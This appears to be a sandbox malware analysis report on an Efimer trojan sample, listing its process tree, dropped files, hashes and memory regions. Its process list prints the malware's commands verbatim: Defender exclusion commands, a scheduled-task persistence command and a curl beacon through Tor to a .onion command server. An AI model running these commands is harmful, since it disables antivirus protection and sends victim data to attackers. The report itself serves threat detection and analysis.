Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20251015-en
  • resource tags

    arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    04/11/2025, 15:22

General

  • Target
    a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe
  • Size 13.0MB
  • Sample251104-srycjsdl9t
  • SHA256 a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Efimer

    Efimer is a trojan written in JS.

  • Efimer family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 9 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe
    "C:\Users\Admin\AppData\Local\Temp\a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1104
    • C:\Users\Admin\AppData\Local\Temp\a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe
      "C:\Users\Admin\AppData\Local\Temp\a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1368
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2452
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4952
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Music\stream'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3696
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Music\stream'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4300
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3320
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4332
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4468
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1984
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3396
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4256
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2372
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Get-MpComputerStatus | Out-Null"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2308
      • C:\Users\Public\Music\stream\mirrorpay.cfg
        C:\Users\Public\Music\stream\mirrorpay.cfg --name Defender --silent
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2228
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c pause
          4⤵
            PID:2172
        • C:\Windows\SYSTEM32\curl.exe
          curl -s --max-time 3 https://ipinfo.io/country
          3⤵
            PID:3376
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "schtasks /create /tn nitro5 /xml C:\Users\Public\Music\stream\stream_a.xml /f"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2112
            • C:\Windows\system32\schtasks.exe
              schtasks /create /tn nitro5 /xml C:\Users\Public\Music\stream\stream_a.xml /f
              4⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2192
      • C:\Windows\System32\wscript.exe
        C:\Windows\System32\wscript.exe
        1⤵
          PID:1664
        • C:\Windows\System32\wscript.exe
          C:\Windows\System32\wscript.exe C:\Users\Public\Music\stream\stream_a.js
          1⤵
          • Suspicious use of WriteProcessMemory
          PID:1508
          • C:\Users\Public\Music\stream\svcup.exe
            "C:\Users\Public\Music\stream\svcup.exe"
            2⤵
            • Executes dropped EXE
            PID:252
          • C:\Windows\System32\curl.exe
            "C:\Windows\System32\curl.exe" -X POST -d "GUID=vt1z-2560a721&GEIP=GB&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile
            2⤵
              PID:1724

          Network

                MITRE ATT&CK Enterprise v16

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 78a0532b0e04b28b4d2b1332e9ab3ad5312d881ee7a3a185ead49b33d843765d
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 96bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 41a5aef8b0bbeea2766f40a7bba2c78322379f167c610f7055ccb69e7db030fe
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 4def91aea2c4de54e5dd6e2b30748e65e7dce1d1b2af9e3c5b18394ab0973743
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 cb09b3f417a451a348671d01b81b91bb6142270e7d16934bda6598102c3107d9
                • MD5 SHA1 SHA512

                VCRUNTIME140.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\VCRUNTIME140.dll
                • Size 117KB
                • SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
                • MD5 SHA1 SHA512 SSDEEP

                VCRUNTIME140_1.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\VCRUNTIME140_1.dll
                • Size 48KB
                • SHA256 82a2f9ae1e6146ae3cb0f4bc5a62b7227e0384209d9b1aef86bbcc105912f7cd
                • MD5 SHA1 SHA512 SSDEEP

                _bz2.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\_bz2.pyd
                • Size 82KB
                • SHA256 fc3b481684b926350057e263622a2a5335b149a0498a8d65c4f37e39dd90b640
                • MD5 SHA1 SHA512 SSDEEP

                _ctypes.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\_ctypes.pyd
                • Size 128KB
                • SHA256 f63c6c7e71c342084d8f1a108786ca6975a52cefef8be32cc2589e6e2fe060c8
                • MD5 SHA1 SHA512 SSDEEP

                _decimal.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\_decimal.pyd
                • Size 271KB
                • SHA256 b715d1c18e9a9c1531f21c02003b4c6726742d1a2441a1893bc3d79d7bb50e91
                • MD5 SHA1 SHA512 SSDEEP

                _hashlib.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\_hashlib.pyd
                • Size 62KB
                • SHA256 838d5c8b7c3212c8429baf612623abbbc20a9023eec41e34e5461b76a285b86c
                • MD5 SHA1 SHA512 SSDEEP

                _lzma.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\_lzma.pyd
                • Size 154KB
                • SHA256 d080eabd015a3569813a220fd4ea74dff34ed2a8519a10473eb37e22b1118a06
                • MD5 SHA1 SHA512 SSDEEP

                _socket.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\_socket.pyd
                • Size 81KB
                • SHA256 35246b04c6c7001ca448554246445a845ce116814a29b18b617ea38752e4659b
                • MD5 SHA1 SHA512 SSDEEP

                _uuid.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\_uuid.pyd
                • Size 25KB
                • SHA256 f9d5008f0772aa0720bc056a6ecd5a2a3f24965e4b470b022d88627a436c1ffe
                • MD5 SHA1 SHA512 SSDEEP

                _wmi.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\_wmi.pyd
                • Size 37KB
                • SHA256 6435c679a3a3ff4f16708ebc43f7ca62456c110ac1ea94f617d8052c90c143c7
                • MD5 SHA1 SHA512 SSDEEP

                base_library.zip

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\base_library.zip
                • Size 1.3MB
                • SHA256 8a9e7ef446bdd83b005ef35780760169902392ac390d00963998fedf77da9fe3
                • MD5 SHA1 SHA512 SSDEEP

                defendnot.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\data_pack\defendnot.dll
                • Size 491KB
                • SHA256 1051f7dd36c91255bd17d29364923556056819d8a323659d08675dd3410e805d
                • MD5 SHA1 SHA512 SSDEEP

                mirrorpay.cfg

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\data_pack\mirrorpay.cfg
                • Size 650KB
                • SHA256 bef64e349812e3bc590adab539b75e066648c3e765a51fbaaf1d99868e4d008a
                • MD5 SHA1 SHA512 SSDEEP

                stream_a.js

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\data_pack\stream_a.js
                • Size 30KB
                • SHA256 2044050072694b68cbaa72544f5a0fa1f9f6745ea2aca8a223021a7f3c63583d
                • MD5 SHA1 SHA512 SSDEEP

                stream_a.xml

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\data_pack\stream_a.xml
                • Size 3KB
                • SHA256 1a196d8ff7da3c67268066a37d504f59e3f17dff4dfa1f6549eeec5f59ed0766
                • MD5 SHA1 SHA512

                svcup.exe

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\data_pack\svcup.exe
                • Size 8.6MB
                • SHA256 258af85207e782c3837a9896e7c6dcb7ddf7d29bb30e48dc040b74245c579994
                • MD5 SHA1 SHA512 SSDEEP

                libcrypto-3.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\libcrypto-3.dll
                • Size 5.0MB
                • SHA256 4e5d5d20d6d31e72ab341c81e97b89e514326c4c861b48638243bdf0918cfa43
                • MD5 SHA1 SHA512 SSDEEP

                libffi-8.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\libffi-8.dll
                • Size 38KB
                • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                • MD5 SHA1 SHA512 SSDEEP

                python313.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\python313.dll
                • Size 5.8MB
                • SHA256 0c0a66505093b6a4bb3475f716bd3d9552095776f6a124709c13b3f9552c7d99
                • MD5 SHA1 SHA512 SSDEEP

                select.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\select.pyd
                • Size 30KB
                • SHA256 78e5994c29d8851f28b5b12d59d742d876683aea58eceea1fb895b2036cdcdeb
                • MD5 SHA1 SHA512 SSDEEP

                unicodedata.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI11042\unicodedata.pyd
                • Size 693KB
                • SHA256 2693c7ee4fba55dc548f641c0cb94485d0e18596ffef16541bd43a5104c28b20
                • MD5 SHA1 SHA512 SSDEEP

                __PSScriptPolicyTest_uydb5xxv.i53.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uydb5xxv.i53.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                cfile

                • Path C:\Users\Admin\AppData\Local\Temp\cfile
                • Size 19B
                • SHA256 dd553e4a142fa09b956c0246aeb4ef86545fa83fb02f80f8cd1ed76a7af2a3d3
                • MD5 SHA1 SHA512

                cached-microdesc-consensus

                • Path C:\Users\Admin\AppData\Roaming\tor\cached-microdesc-consensus
                • Size 3.2MB
                • SHA256 b33c51fcd2549827d9643a7ae50865438effeed2a260142b34fc6b1c5f02dda7
                • MD5 SHA1 SHA512 SSDEEP

                cached-microdescs.new

                • Path C:\Users\Admin\AppData\Roaming\tor\cached-microdescs.new
                • Size 14.3MB
                • SHA256 3b92a27cfdc1c21b5d42b6010043a0784c6547d39099663ee37d4d3a65615035
                • MD5 SHA1 SHA512 SSDEEP

                GUID

                • Path C:\Users\Public\Music\stream\GUID
                • Size 13B
                • SHA256 538f890920d93ec794abe25266cf5ffb0a321a305473013594c8e94ba7fff1b7
                • MD5 SHA1 SHA512

                country.inf

                • Path C:\Users\Public\Music\stream\country.inf
                • Size 4B
                • SHA256 ac574acb272cf4ae8eafb85af676d2dab0b5db6d14846007ddc5f43013d93f80
                • MD5 SHA1 SHA512

                mirrorpay.cfg

                • Path C:\Users\Public\Music\stream\mirrorpay.cfg
                • Size 651KB
                • SHA256 d36495b691e36d74ae3dff3121bf50c9f6f2070790570d65d3286bee7b20a448
                • MD5 SHA1 SHA512 SSDEEP

                stream_a.js

                • Path C:\Users\Public\Music\stream\stream_a.js
                • Size 30KB
                • SHA256 2dfee9e146efe25b4a8434e2154281974f94198744581da800ed526b7860a5c4
                • MD5 SHA1 SHA512 SSDEEP

                stream_a.xml

                • Path C:\Users\Public\Music\stream\stream_a.xml
                • Size 3KB
                • SHA256 95adaad79f0bc2eea9ad17a7aafb534c2c8529de7861da2e75d37301a66bee60
                • MD5 SHA1 SHA512

                svcup.exe

                • Path C:\Users\Public\Music\stream\svcup.exe
                • Size 8.6MB
                • SHA256 6b866c187a0dee2fb751a8990d50dc1ed83f68e025720081e4d8e27097067dc8
                • MD5 SHA1 SHA512 SSDEEP

                memory/1508-175-0x000002D93AB20000-0x000002D93AC20000-memory.dmp

                memory/1508-177-0x000002D139310000-0x000002D13A9B0000-memory.dmp

                memory/1508-219-0x000002D139310000-0x000002D13A9B0000-memory.dmp

                memory/1508-213-0x000002D139310000-0x000002D13A9B0000-memory.dmp

                memory/1508-208-0x000002D139310000-0x000002D13A9B0000-memory.dmp

                memory/1508-203-0x000002D93AB20000-0x000002D93AC20000-memory.dmp

                memory/1508-202-0x000002D139310000-0x000002D13A9B0000-memory.dmp

                memory/1508-196-0x000002D139310000-0x000002D13A9B0000-memory.dmp

                memory/1508-191-0x000002D139310000-0x000002D13A9B0000-memory.dmp

                memory/1508-183-0x000002D139310000-0x000002D13A9B0000-memory.dmp

                memory/1508-173-0x000002D139310000-0x000002D13A9B0000-memory.dmp

                memory/1984-89-0x0000028B64140000-0x0000028B64C02000-memory.dmp

                memory/2308-111-0x000001E02D040000-0x000001E02DB02000-memory.dmp

                memory/4256-98-0x0000018B79F20000-0x0000018B7A9E2000-memory.dmp

                memory/4300-71-0x00000281468D0000-0x0000028147392000-memory.dmp

                memory/4332-80-0x00000201AD3E0000-0x00000201ADEA2000-memory.dmp

                memory/4952-61-0x000001AC199C0000-0x000001AC1A482000-memory.dmp

                memory/4952-58-0x000001AC199C0000-0x000001AC1A482000-memory.dmp

                memory/4952-57-0x000001AC199C0000-0x000001AC1A482000-memory.dmp

                memory/4952-48-0x000001AC199C0000-0x000001AC1A482000-memory.dmp

                memory/4952-56-0x000001AC1A660000-0x000001AC1A682000-memory.dmp

                memory/4952-49-0x000001AC199C0000-0x000001AC1A482000-memory.dmp

                memory/4952-47-0x000001AC1A18A000-0x000001AC1A18B000-memory.dmp